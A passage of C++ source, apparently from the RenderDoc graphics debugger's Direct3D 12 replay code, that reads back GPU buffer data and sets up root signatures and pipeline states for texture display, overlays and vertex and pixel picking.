list->SetDescriptorHeaps(1, &heaps[0]);
}
else if(samplers)
{
list->SetDescriptorHeaps(1, &heaps[1]);
}
}
D3D12_CPU_DESCRIPTOR_HANDLE D3D12DebugManager::GetUAVClearHandle(CBVUAVSRVSlot slot)
{
D3D12_CPU_DESCRIPTOR_HANDLE ret = uavClearHeap->GetCPUDescriptorHandleForHeapStart();
ret.ptr += slot * sizeof(D3D12Descriptor);
return ret;
}
void D3D12DebugManager::GetBufferData(ID3D12Resource *buffer, uint64_t offset, uint64_t length,
bytebuf &ret)
{
if(buffer == NULL)
return;
D3D12_RESOURCE_DESC desc = buffer->GetDesc();
D3D12_HEAP_PROPERTIES heapProps;
buffer->GetHeapProperties(&heapProps, NULL);
if(offset >= desc.Width)
{
// can't read past the end of the buffer, return empty
return;
}
if(length == 0 || length > desc.Width)
{
length = desc.Width - offset;
}
if(offset + length > desc.Width)
{
RDCWARN("Attempting to read off the end of the buffer (%llu %llu). Will be clamped (%llu)",
offset, length, desc.Width);
length = RDCMIN(length, desc.Width - offset);
}
#if DISABLED(RDOC_X64)
if(offset + length > 0xfffffff)
{
RDCERR("Trying to read back too much data on 32-bit build. Try running on 64-bit.");
return;
}
#endif
uint64_t outOffs = 0;
ret.resize((size_t)length);
// directly CPU mappable (and possibly invalid to transition and copy from), so just memcpy
if(heapProps.Type == D3D12_HEAP_TYPE_UPLOAD || heapProps.Type == D3D12_HEAP_TYPE_READBACK)
{
D3D12_RANGE range = {(size_t)offset, size_t(offset + length)};
byte *data = NULL;
HRESULT hr = buffer->Map(0, &range, (void **)&data);
if(FAILED(hr))
{
RDCERR("Failed to map buffer directly for readback HRESULT: %s", ToStr(hr).c_str());
return;
}
memcpy(&ret[0], data + offset, (size_t)length);
range.Begin = range.End = 0;
buffer->Unmap(0, &range);
return;
}
m_DebugList->Reset(m_DebugAlloc, NULL);
D3D12_RESOURCE_BARRIER barrier = {};
barrier.Transition.pResource = buffer;
barrier.Transition.StateBefore = m_pDevice->GetSubresourceStates(GetResID(buffer))[0];
barrier.Transition.StateAfter = D3D12_RESOURCE_STATE_COPY_SOURCE;
if(barrier.Transition.StateBefore != D3D12_RESOURCE_STATE_COPY_SOURCE)
m_DebugList->ResourceBarrier(1, &barrier);
while(length > 0)
{
uint64_t chunkSize = RDCMIN(length, m_ReadbackSize);
m_DebugList->CopyBufferRegion(m_ReadbackBuffer, 0, buffer, offset + outOffs, chunkSize);
m_DebugList->Close();
ID3D12CommandList *l = m_DebugList;
m_pDevice->GetQueue()->ExecuteCommandLists(1, &l);
m_pDevice->GPUSync();
m_DebugAlloc->Reset();
D3D12_RANGE range = {0, (size_t)chunkSize};
void *data = NULL;
HRESULT hr = m_ReadbackBuffer->Map(0, &range, &data);
if(FAILED(hr))
{
RDCERR("Failed to map bufferdata buffer HRESULT: %s", ToStr(hr).c_str());
return;
}
else
{
memcpy(&ret[(size_t)outOffs], data, (size_t)chunkSize);
range.End = 0;
m_ReadbackBuffer->Unmap(0, &range);
}
outOffs += chunkSize;
length -= chunkSize;
m_DebugList->Reset(m_DebugAlloc, NULL);
}
if(barrier.Transition.StateBefore != D3D12_RESOURCE_STATE_COPY_SOURCE)
{
std::swap(barrier.Transition.StateBefore, barrier.Transition.StateAfter);
m_DebugList->ResourceBarrier(1, &barrier);
}
m_DebugList->Close();
ID3D12CommandList *l = m_DebugList;
m_pDevice->GetQueue()->ExecuteCommandLists(1, &l);
m_pDevice->GPUSync();
m_DebugAlloc->Reset();
}
void D3D12Replay::GeneralMisc::Init(WrappedID3D12Device *device, D3D12DebugManager *debug)
{
HRESULT hr = S_OK;
D3D12ShaderCache *shaderCache = device->GetShaderCache();
shaderCache->SetCaching(true);
{
D3D12_RESOURCE_DESC readbackDesc;
readbackDesc.Alignment = 0;
readbackDesc.DepthOrArraySize = 1;
readbackDesc.Dimension = D3D12_RESOURCE_DIMENSION_BUFFER;
readbackDesc.Flags = D3D12_RESOURCE_FLAG_NONE;
readbackDesc.Format = DXGI_FORMAT_UNKNOWN;
readbackDesc.Height = 1;
readbackDesc.Layout = D3D12_TEXTURE_LAYOUT_ROW_MAJOR;
readbackDesc.MipLevels = 1;
readbackDesc.SampleDesc.Count = 1;
readbackDesc.SampleDesc.Quality = 0;
readbackDesc.Width = 4096;
D3D12_HEAP_PROPERTIES heapProps;
heapProps.Type = D3D12_HEAP_TYPE_READBACK;
heapProps.CPUPageProperty = D3D12_CPU_PAGE_PROPERTY_UNKNOWN;
heapProps.MemoryPoolPreference = D3D12_MEMORY_POOL_UNKNOWN;
heapProps.CreationNodeMask = 1;
heapProps.VisibleNodeMask = 1;
hr = device->CreateCommittedResource(&heapProps, D3D12_HEAP_FLAG_NONE, &readbackDesc,
D3D12_RESOURCE_STATE_COPY_DEST, NULL,
__uuidof(ID3D12Resource), (void **)&ResultReadbackBuffer);
ResultReadbackBuffer->SetName(L"m_ResultReadbackBuffer");
if(FAILED(hr))
{
RDCERR("Failed to create readback buffer, HRESULT: %s", ToStr(hr).c_str());
return;
}
}
{
ID3DBlob *root = shaderCache->MakeRootSig({
cbvParam(D3D12_SHADER_VISIBILITY_PIXEL, 0, 0),
});
RDCASSERT(root);
hr = device->CreateRootSignature(0, root->GetBufferPointer(), root->GetBufferSize(),
__uuidof(ID3D12RootSignature), (void **)&CheckerboardRootSig);
SAFE_RELEASE(root);
}
{
rdcstr hlsl = GetEmbeddedResource(misc_hlsl);
ID3DBlob *FullscreenVS = NULL;
ID3DBlob *CheckerboardPS = NULL;
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_FullscreenVS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "vs_5_0", &FullscreenVS);
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_CheckerboardPS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &CheckerboardPS);
RDCASSERT(CheckerboardPS);
RDCASSERT(FullscreenVS);
D3D12_GRAPHICS_PIPELINE_STATE_DESC pipeDesc = {};
pipeDesc.pRootSignature = CheckerboardRootSig;
pipeDesc.VS.BytecodeLength = FullscreenVS->GetBufferSize();
pipeDesc.VS.pShaderBytecode = FullscreenVS->GetBufferPointer();
pipeDesc.PS.BytecodeLength = CheckerboardPS->GetBufferSize();
pipeDesc.PS.pShaderBytecode = CheckerboardPS->GetBufferPointer();
pipeDesc.RasterizerState.FillMode = D3D12_FILL_MODE_SOLID;
pipeDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;
pipeDesc.SampleMask = 0xFFFFFFFF;
pipeDesc.SampleDesc.Count = 1;
pipeDesc.IBStripCutValue = D3D12_INDEX_BUFFER_STRIP_CUT_VALUE_DISABLED;
pipeDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;
pipeDesc.NumRenderTargets = 1;
pipeDesc.RTVFormats[0] = DXGI_FORMAT_R8G8B8A8_UNORM_SRGB;
pipeDesc.DSVFormat = DXGI_FORMAT_UNKNOWN;
pipeDesc.BlendState.RenderTarget[0].BlendEnable = FALSE;
pipeDesc.BlendState.RenderTarget[0].SrcBlend = D3D12_BLEND_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].DestBlend = D3D12_BLEND_INV_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].BlendOp = D3D12_BLEND_OP_ADD;
pipeDesc.BlendState.RenderTarget[0].SrcBlendAlpha = D3D12_BLEND_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].DestBlendAlpha = D3D12_BLEND_INV_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].BlendOpAlpha = D3D12_BLEND_OP_ADD;
pipeDesc.BlendState.RenderTarget[0].RenderTargetWriteMask = D3D12_COLOR_WRITE_ENABLE_ALL;
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&CheckerboardPipe);
if(FAILED(hr))
{
RDCERR("Couldn't create m_CheckerboardPipe! HRESULT: %s", ToStr(hr).c_str());
}
pipeDesc.SampleDesc.Count = D3D12_MSAA_SAMPLECOUNT;
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&CheckerboardMSAAPipe);
if(FAILED(hr))
{
RDCERR("Couldn't create m_CheckerboardMSAAPipe! HRESULT: %s", ToStr(hr).c_str());
}
pipeDesc.RTVFormats[0] = DXGI_FORMAT_R16G16B16A16_FLOAT;
pipeDesc.BlendState.RenderTarget[0].BlendEnable = TRUE;
for(size_t i = 0; i < ARRAY_COUNT(CheckerboardF16Pipe); i++)
{
pipeDesc.SampleDesc.Count = UINT(1 << i);
D3D12_FEATURE_DATA_MULTISAMPLE_QUALITY_LEVELS check = {};
check.Format = DXGI_FORMAT_R16G16B16A16_FLOAT;
check.SampleCount = pipeDesc.SampleDesc.Count;
device->CheckFeatureSupport(D3D12_FEATURE_MULTISAMPLE_QUALITY_LEVELS, &check, sizeof(check));
if(check.NumQualityLevels == 0)
continue;
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&CheckerboardF16Pipe[i]);
if(FAILED(hr))
{
RDCERR("Couldn't create CheckerboardF16Pipe[%zu]! HRESULT: %s", i, ToStr(hr).c_str());
}
}
SAFE_RELEASE(CheckerboardPS);
SAFE_RELEASE(FullscreenVS);
}
shaderCache->SetCaching(false);
}
void D3D12Replay::GeneralMisc::Release()
{
SAFE_RELEASE(ResultReadbackBuffer);
SAFE_RELEASE(CheckerboardRootSig);
SAFE_RELEASE(CheckerboardPipe);
SAFE_RELEASE(CheckerboardMSAAPipe);
for(size_t i = 0; i < ARRAY_COUNT(CheckerboardF16Pipe); i++)
SAFE_RELEASE(CheckerboardF16Pipe[i]);
}
void D3D12Replay::TextureRendering::Init(WrappedID3D12Device *device, D3D12DebugManager *debug)
{
HRESULT hr = S_OK;
D3D12ShaderCache *shaderCache = device->GetShaderCache();
shaderCache->SetCaching(true);
{
ID3DBlob *root = shaderCache->MakeRootSig({
// VS cbuffer
cbvParam(D3D12_SHADER_VISIBILITY_VERTEX, 0, 0),
// normal FS cbuffer
cbvParam(D3D12_SHADER_VISIBILITY_PIXEL, 0, 0),
// heatmap cbuffer
cbvParam(D3D12_SHADER_VISIBILITY_PIXEL, 0, 1),
// display SRVs
tableParam(D3D12_SHADER_VISIBILITY_PIXEL, D3D12_DESCRIPTOR_RANGE_TYPE_SRV, 0, 0, 32),
// samplers
tableParam(D3D12_SHADER_VISIBILITY_PIXEL, D3D12_DESCRIPTOR_RANGE_TYPE_SAMPLER, 0, 0, 2),
});
RDCASSERT(root);
hr = device->CreateRootSignature(0, root->GetBufferPointer(), root->GetBufferSize(),
__uuidof(ID3D12RootSignature), (void **)&RootSig);
if(FAILED(hr))
{
RDCERR("Couldn't create tex display RootSig! HRESULT: %s", ToStr(hr).c_str());
}
SAFE_RELEASE(root);
}
{
rdcstr hlsl = GetEmbeddedResource(texdisplay_hlsl);
ID3DBlob *TexDisplayPS = NULL;
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_TexDisplayVS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "vs_5_0", &VS);
RDCASSERT(VS);
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_TexDisplayPS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &TexDisplayPS);
RDCASSERT(TexDisplayPS);
D3D12_GRAPHICS_PIPELINE_STATE_DESC pipeDesc = {};
pipeDesc.pRootSignature = RootSig;
pipeDesc.VS.BytecodeLength = VS->GetBufferSize();
pipeDesc.VS.pShaderBytecode = VS->GetBufferPointer();
pipeDesc.PS.BytecodeLength = TexDisplayPS->GetBufferSize();
pipeDesc.PS.pShaderBytecode = TexDisplayPS->GetBufferPointer();
pipeDesc.RasterizerState.FillMode = D3D12_FILL_MODE_SOLID;
pipeDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;
pipeDesc.SampleMask = 0xFFFFFFFF;
pipeDesc.SampleDesc.Count = 1;
pipeDesc.IBStripCutValue = D3D12_INDEX_BUFFER_STRIP_CUT_VALUE_DISABLED;
pipeDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;
pipeDesc.NumRenderTargets = 1;
pipeDesc.RTVFormats[0] = DXGI_FORMAT_R8G8B8A8_UNORM_SRGB;
pipeDesc.DSVFormat = DXGI_FORMAT_UNKNOWN;
pipeDesc.BlendState.RenderTarget[0].BlendEnable = TRUE;
pipeDesc.BlendState.RenderTarget[0].SrcBlend = D3D12_BLEND_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].DestBlend = D3D12_BLEND_INV_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].BlendOp = D3D12_BLEND_OP_ADD;
pipeDesc.BlendState.RenderTarget[0].SrcBlendAlpha = D3D12_BLEND_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].DestBlendAlpha = D3D12_BLEND_INV_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].BlendOpAlpha = D3D12_BLEND_OP_ADD;
pipeDesc.BlendState.RenderTarget[0].RenderTargetWriteMask = D3D12_COLOR_WRITE_ENABLE_ALL;
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&BlendPipe);
if(FAILED(hr))
{
RDCERR("Couldn't create m_TexDisplayBlendPipe! HRESULT: %s", ToStr(hr).c_str());
}
pipeDesc.BlendState.RenderTarget[0].BlendEnable = FALSE;
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&SRGBPipe);
if(FAILED(hr))
{
RDCERR("Couldn't create m_TexDisplayPipe! HRESULT: %s", ToStr(hr).c_str());
}
pipeDesc.RTVFormats[0] = DXGI_FORMAT_R8G8B8A8_UNORM;
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&LinearPipe);
if(FAILED(hr))
{
RDCERR("Couldn't create m_TexDisplayPipe! HRESULT: %s", ToStr(hr).c_str());
}
pipeDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&F32Pipe);
if(FAILED(hr))
{
RDCERR("Couldn't create m_TexDisplayF32Pipe! HRESULT: %s", ToStr(hr).c_str());
}
pipeDesc.RTVFormats[0] = DXGI_FORMAT_R16G16B16A16_FLOAT;
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&F16Pipe);
if(FAILED(hr))
{
RDCERR("Couldn't create m_TexDisplayF16Pipe! HRESULT: %s", ToStr(hr).c_str());
}
SAFE_RELEASE(TexDisplayPS);
hlsl = GetEmbeddedResource(texremap_hlsl);
ID3DBlob *TexRemap[3] = {};
DXGI_FORMAT formats[3] = {
DXGI_FORMAT_R8G8B8A8_TYPELESS, DXGI_FORMAT_R16G16B16A16_TYPELESS,
DXGI_FORMAT_R32G32B32A32_TYPELESS,
};
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_TexRemapFloat",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &TexRemap[0]);
RDCASSERT(TexRemap[0]);
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_TexRemapUInt",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &TexRemap[1]);
RDCASSERT(TexRemap[1]);
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_TexRemapSInt",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &TexRemap[2]);
RDCASSERT(TexRemap[2]);
for(int f = 0; f < 3; f++)
{
for(int i = 0; i < 3; i++)
{
pipeDesc.PS.BytecodeLength = TexRemap[i]->GetBufferSize();
pipeDesc.PS.pShaderBytecode = TexRemap[i]->GetBufferPointer();
if(i == 0)
pipeDesc.RTVFormats[0] = GetFloatTypedFormat(formats[f]);
else if(i == 1)
pipeDesc.RTVFormats[0] = GetUIntTypedFormat(formats[f]);
else
pipeDesc.RTVFormats[0] = GetSIntTypedFormat(formats[f]);
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&m_TexRemapPipe[f][i]);
if(FAILED(hr))
{
RDCERR("Couldn't create m_TexRemapPipe for %s! HRESULT: %s",
ToStr(pipeDesc.RTVFormats[0]).c_str(), ToStr(hr).c_str());
}
}
}
for(int i = 0; i < 3; i++)
SAFE_RELEASE(TexRemap[i]);
}
shaderCache->SetCaching(false);
}
void D3D12Replay::TextureRendering::Release()
{
SAFE_RELEASE(BlendPipe);
SAFE_RELEASE(SRGBPipe);
SAFE_RELEASE(LinearPipe);
SAFE_RELEASE(F16Pipe);
SAFE_RELEASE(F32Pipe);
SAFE_RELEASE(RootSig);
SAFE_RELEASE(VS);
for(int f = 0; f < 3; f++)
{
for(int i = 0; i < 3; i++)
{
SAFE_RELEASE(m_TexRemapPipe[f][i]);
}
}
}
void D3D12Replay::OverlayRendering::Init(WrappedID3D12Device *device, D3D12DebugManager *debug)
{
HRESULT hr = S_OK;
D3D12ShaderCache *shaderCache = device->GetShaderCache();
shaderCache->SetCaching(true);
{
rdcstr meshhlsl = GetEmbeddedResource(mesh_hlsl);
shaderCache->GetShaderBlob(meshhlsl.c_str(), "RENDERDOC_TriangleSizeGS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "gs_5_0", &TriangleSizeGS);
shaderCache->GetShaderBlob(meshhlsl.c_str(), "RENDERDOC_TriangleSizePS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &TriangleSizePS);
shaderCache->GetShaderBlob(meshhlsl.c_str(), "RENDERDOC_MeshVS", D3DCOMPILE_WARNINGS_ARE_ERRORS,
"vs_5_0", &MeshVS);
rdcstr hlsl = GetEmbeddedResource(quadoverdraw_hlsl);
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_QuadOverdrawPS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &QuadOverdrawWritePS);
// only create DXIL shaders if DXIL was used by the application, since dxc/dxcompiler is really
// flakey.
if(device->UsedDXIL())
{
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_QuadOverdrawPS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_6_0", &QuadOverdrawWriteDXILPS);
if(QuadOverdrawWriteDXILPS == NULL)
{
RDCWARN(
"Couldn't compile DXIL overlay shader at runtime, falling back to baked DXIL shader");
QuadOverdrawWriteDXILPS = shaderCache->GetQuadShaderDXILBlob();
if(!QuadOverdrawWriteDXILPS)
{
RDCWARN("No fallback DXIL shader available!");
}
}
}
}
{
ID3DBlob *root = shaderCache->MakeRootSig({
// quad overdraw results SRV
tableParam(D3D12_SHADER_VISIBILITY_PIXEL, D3D12_DESCRIPTOR_RANGE_TYPE_SRV, 0, 0, 1),
});
RDCASSERT(root);
hr = device->CreateRootSignature(0, root->GetBufferPointer(), root->GetBufferSize(),
__uuidof(ID3D12RootSignature), (void **)&QuadResolveRootSig);
SAFE_RELEASE(root);
}
{
rdcstr hlsl = GetEmbeddedResource(misc_hlsl);
ID3DBlob *FullscreenVS = NULL;
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_FullscreenVS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "vs_5_0", &FullscreenVS);
RDCASSERT(FullscreenVS);
hlsl = GetEmbeddedResource(quadoverdraw_hlsl);
ID3DBlob *QOResolvePS = NULL;
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_QOResolvePS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &QOResolvePS);
RDCASSERT(QOResolvePS);
D3D12_GRAPHICS_PIPELINE_STATE_DESC pipeDesc = {};
pipeDesc.pRootSignature = QuadResolveRootSig;
pipeDesc.VS.BytecodeLength = FullscreenVS->GetBufferSize();
pipeDesc.VS.pShaderBytecode = FullscreenVS->GetBufferPointer();
pipeDesc.PS.BytecodeLength = QOResolvePS->GetBufferSize();
pipeDesc.PS.pShaderBytecode = QOResolvePS->GetBufferPointer();
pipeDesc.RasterizerState.FillMode = D3D12_FILL_MODE_SOLID;
pipeDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;
pipeDesc.SampleMask = 0xFFFFFFFF;
pipeDesc.SampleDesc.Count = 1;
pipeDesc.IBStripCutValue = D3D12_INDEX_BUFFER_STRIP_CUT_VALUE_DISABLED;
pipeDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;
pipeDesc.NumRenderTargets = 1;
pipeDesc.RTVFormats[0] = DXGI_FORMAT_R16G16B16A16_FLOAT;
pipeDesc.DSVFormat = DXGI_FORMAT_UNKNOWN;
pipeDesc.BlendState.RenderTarget[0].BlendEnable = FALSE;
pipeDesc.BlendState.RenderTarget[0].SrcBlend = D3D12_BLEND_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].DestBlend = D3D12_BLEND_INV_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].BlendOp = D3D12_BLEND_OP_ADD;
pipeDesc.BlendState.RenderTarget[0].SrcBlendAlpha = D3D12_BLEND_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].DestBlendAlpha = D3D12_BLEND_INV_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].BlendOpAlpha = D3D12_BLEND_OP_ADD;
pipeDesc.BlendState.RenderTarget[0].RenderTargetWriteMask = D3D12_COLOR_WRITE_ENABLE_ALL;
for(size_t i = 0; i < ARRAY_COUNT(QuadResolvePipe); i++)
{
pipeDesc.SampleDesc.Count = UINT(1 << i);
D3D12_FEATURE_DATA_MULTISAMPLE_QUALITY_LEVELS check = {};
check.Format = DXGI_FORMAT_R16G16B16A16_FLOAT;
check.SampleCount = pipeDesc.SampleDesc.Count;
device->CheckFeatureSupport(D3D12_FEATURE_MULTISAMPLE_QUALITY_LEVELS, &check, sizeof(check));
if(check.NumQualityLevels == 0)
continue;
hr = device->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&QuadResolvePipe[i]);
if(FAILED(hr))
RDCERR("Couldn't create QuadResolvePipe[%zu]! HRESULT: %s", i, ToStr(hr).c_str());
}
SAFE_RELEASE(FullscreenVS);
SAFE_RELEASE(QOResolvePS);
}
shaderCache->SetCaching(false);
}
void D3D12Replay::OverlayRendering::Release()
{
SAFE_RELEASE(MeshVS);
SAFE_RELEASE(TriangleSizeGS);
SAFE_RELEASE(TriangleSizePS);
SAFE_RELEASE(QuadOverdrawWritePS);
SAFE_RELEASE(QuadOverdrawWriteDXILPS);
SAFE_RELEASE(QuadResolveRootSig);
for(size_t i = 0; i < ARRAY_COUNT(QuadResolvePipe); i++)
SAFE_RELEASE(QuadResolvePipe[i]);
SAFE_RELEASE(Texture);
}
void D3D12Replay::VertexPicking::Init(WrappedID3D12Device *device, D3D12DebugManager *debug)
{
HRESULT hr = S_OK;
D3D12ShaderCache *shaderCache = device->GetShaderCache();
shaderCache->SetCaching(true);
VB = NULL;
VBSize = 0;
{
ID3DBlob *root = shaderCache->MakeRootSig({
cbvParam(D3D12_SHADER_VISIBILITY_ALL, 0, 0),
tableParam(D3D12_SHADER_VISIBILITY_ALL, D3D12_DESCRIPTOR_RANGE_TYPE_SRV, 0, 0, 2),
tableParam(D3D12_SHADER_VISIBILITY_ALL, D3D12_DESCRIPTOR_RANGE_TYPE_UAV, 0, 0, 1),
});
RDCASSERT(root);
hr = device->CreateRootSignature(0, root->GetBufferPointer(), root->GetBufferSize(),
__uuidof(ID3D12RootSignature), (void **)&RootSig);
SAFE_RELEASE(root);
}
{
rdcstr meshhlsl = GetEmbeddedResource(mesh_hlsl);
ID3DBlob *meshPickCS;
shaderCache->GetShaderBlob(meshhlsl.c_str(), "RENDERDOC_MeshPickCS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "cs_5_0", &meshPickCS);
RDCASSERT(meshPickCS);
D3D12_COMPUTE_PIPELINE_STATE_DESC compPipeDesc = {};
compPipeDesc.pRootSignature = RootSig;
compPipeDesc.CS.BytecodeLength = meshPickCS->GetBufferSize();
compPipeDesc.CS.pShaderBytecode = meshPickCS->GetBufferPointer();
hr = device->CreateComputePipelineState(&compPipeDesc, __uuidof(ID3D12PipelineState),
(void **)&Pipe);
if(FAILED(hr))
{
RDCERR("Couldn't create m_MeshPickPipe! HRESULT: %s", ToStr(hr).c_str());
}
SAFE_RELEASE(meshPickCS);
}
{
D3D12_RESOURCE_DESC pickResultDesc = {};
pickResultDesc.Alignment = 0;
pickResultDesc.DepthOrArraySize = 1;
pickResultDesc.Dimension = D3D12_RESOURCE_DIMENSION_BUFFER;
pickResultDesc.Flags = D3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS;
pickResultDesc.Format = DXGI_FORMAT_UNKNOWN;
pickResultDesc.Height = 1;
pickResultDesc.Layout = D3D12_TEXTURE_LAYOUT_ROW_MAJOR;
pickResultDesc.MipLevels = 1;
pickResultDesc.SampleDesc.Count = 1;
pickResultDesc.SampleDesc.Quality = 0;
// add an extra 64 bytes for the counter at the start
pickResultDesc.Width = MaxMeshPicks * sizeof(Vec4f) + 64;
D3D12_HEAP_PROPERTIES heapProps;
heapProps.Type = D3D12_HEAP_TYPE_DEFAULT;
heapProps.CPUPageProperty = D3D12_CPU_PAGE_PROPERTY_UNKNOWN;
heapProps.MemoryPoolPreference = D3D12_MEMORY_POOL_UNKNOWN;
heapProps.CreationNodeMask = 1;
heapProps.VisibleNodeMask = 1;
hr = device->CreateCommittedResource(&heapProps, D3D12_HEAP_FLAG_NONE, &pickResultDesc,
D3D12_RESOURCE_STATE_UNORDERED_ACCESS, NULL,
__uuidof(ID3D12Resource), (void **)&ResultBuf);
ResultBuf->SetName(L"m_PickResultBuf");
if(FAILED(hr))
{
RDCERR("Failed to create tile buffer for min/max, HRESULT: %s", ToStr(hr).c_str());
}
D3D12_UNORDERED_ACCESS_VIEW_DESC uavDesc = {};
uavDesc.ViewDimension = D3D12_UAV_DIMENSION_BUFFER;
uavDesc.Format = DXGI_FORMAT_UNKNOWN;
uavDesc.Buffer.CounterOffsetInBytes = 0;
// start with elements after the counter
uavDesc.Buffer.FirstElement = 64 / sizeof(Vec4f);
uavDesc.Buffer.NumElements = MaxMeshPicks;
uavDesc.Buffer.StructureByteStride = sizeof(Vec4f);
device->CreateUnorderedAccessView(ResultBuf, ResultBuf, &uavDesc,
debug->GetCPUHandle(PICK_RESULT_UAV));
device->CreateUnorderedAccessView(ResultBuf, ResultBuf, &uavDesc,
debug->GetUAVClearHandle(PICK_RESULT_UAV));
// this UAV is used for clearing everything back to 0
uavDesc.Format = DXGI_FORMAT_R32G32B32A32_UINT;
uavDesc.Buffer.FirstElement = 0;
uavDesc.Buffer.NumElements = MaxMeshPicks + 64 / sizeof(Vec4f);
uavDesc.Buffer.StructureByteStride = 0;
device->CreateUnorderedAccessView(ResultBuf, NULL, &uavDesc,
debug->GetCPUHandle(PICK_RESULT_CLEAR_UAV));
device->CreateUnorderedAccessView(ResultBuf, NULL, &uavDesc,
debug->GetUAVClearHandle(PICK_RESULT_CLEAR_UAV));
}
shaderCache->SetCaching(false);
}
void D3D12Replay::VertexPicking::Release()
{
SAFE_RELEASE(IB);
SAFE_RELEASE(VB);
SAFE_RELEASE(ResultBuf);
SAFE_RELEASE(RootSig);
SAFE_RELEASE(Pipe);
}
void D3D12Replay::PixelPicking::Init(WrappedID3D12Device *device, D3D12DebugManager *debug)
{
HRESULT hr = S_OK;
{
D3D12_RESOURCE_DESC pickPixelDesc = {};
pickPixelDesc.Alignment = 0;
pickPixelDesc.DepthOrArraySize = 1;
pickPixelDesc.Dimension = D3D12_RESOURCE_DIMENSION_TEXTURE2D;
pickPixelDesc.Flags = D3D12_RESOURCE_FLAG_ALLOW_RENDER_TARGET;
pickPixelDesc.Format = DXGI_FORMAT_R32G32B32A32_FLOAT;
pickPixelDesc.Height = 1;
pickPixelDesc.Layout = D3D12_TEXTURE_LAYOUT_UNKNOWN;
pickPixelDesc.MipLevels = 1;
pickPixelDesc.SampleDesc.Count = 1;
pickPixelDesc.SampleDesc.Quality = 0;
pickPixelDesc.Width = 1;
D3D12_HEAP_PROPERTIES heapProps;
heapProps.Type = D3D12_HEAP_TYPE_DEFAULT;
heapProps.CPUPageProperty = D3D12_CPU_PAGE_PROPERTY_UNKNOWN;
heapProps.MemoryPoolPreference = D3D12_MEMORY_POOL_UNKNOWN;
heapProps.CreationNodeMask = 1;
heapProps.VisibleNodeMask = 1;
hr = device->CreateCommittedResource(&heapProps, D3D12_HEAP_FLAG_NONE, &pickPixelDesc,
D3D12_RESOURCE_STATE_RENDER_TARGET, NULL,
__uuidof(ID3D12Resource), (void **)&Texture);
Texture->SetName(L"m_PickPixelTex");
if(FAILED(hr))
{
RDCERR("Failed to create rendering texture for pixel picking, HRESULT: %s", ToStr(hr).c_str());
return;
}
D3D12_CPU_DESCRIPTOR_HANDLE rtv = debug->GetCPUHandle(PICK_PIXEL_RTV);
device->CreateRenderTargetView(Texture, NULL, rtv);
}
}
void D3D12Replay::PixelPicking::Release()
{
SAFE_RELEASE(Texture);
}
void D3D12Replay::HistogramMinMax::Init(WrappedID3D12Device *device, D3D12DebugManager *debug)
{
HRESULT hr = S_OK;
D3D12ShaderCache *shaderCache = device->GetShaderCache();
shaderCache->SetCaching(true);
{
ID3DBlob *root = shaderCache->MakeRootSig({
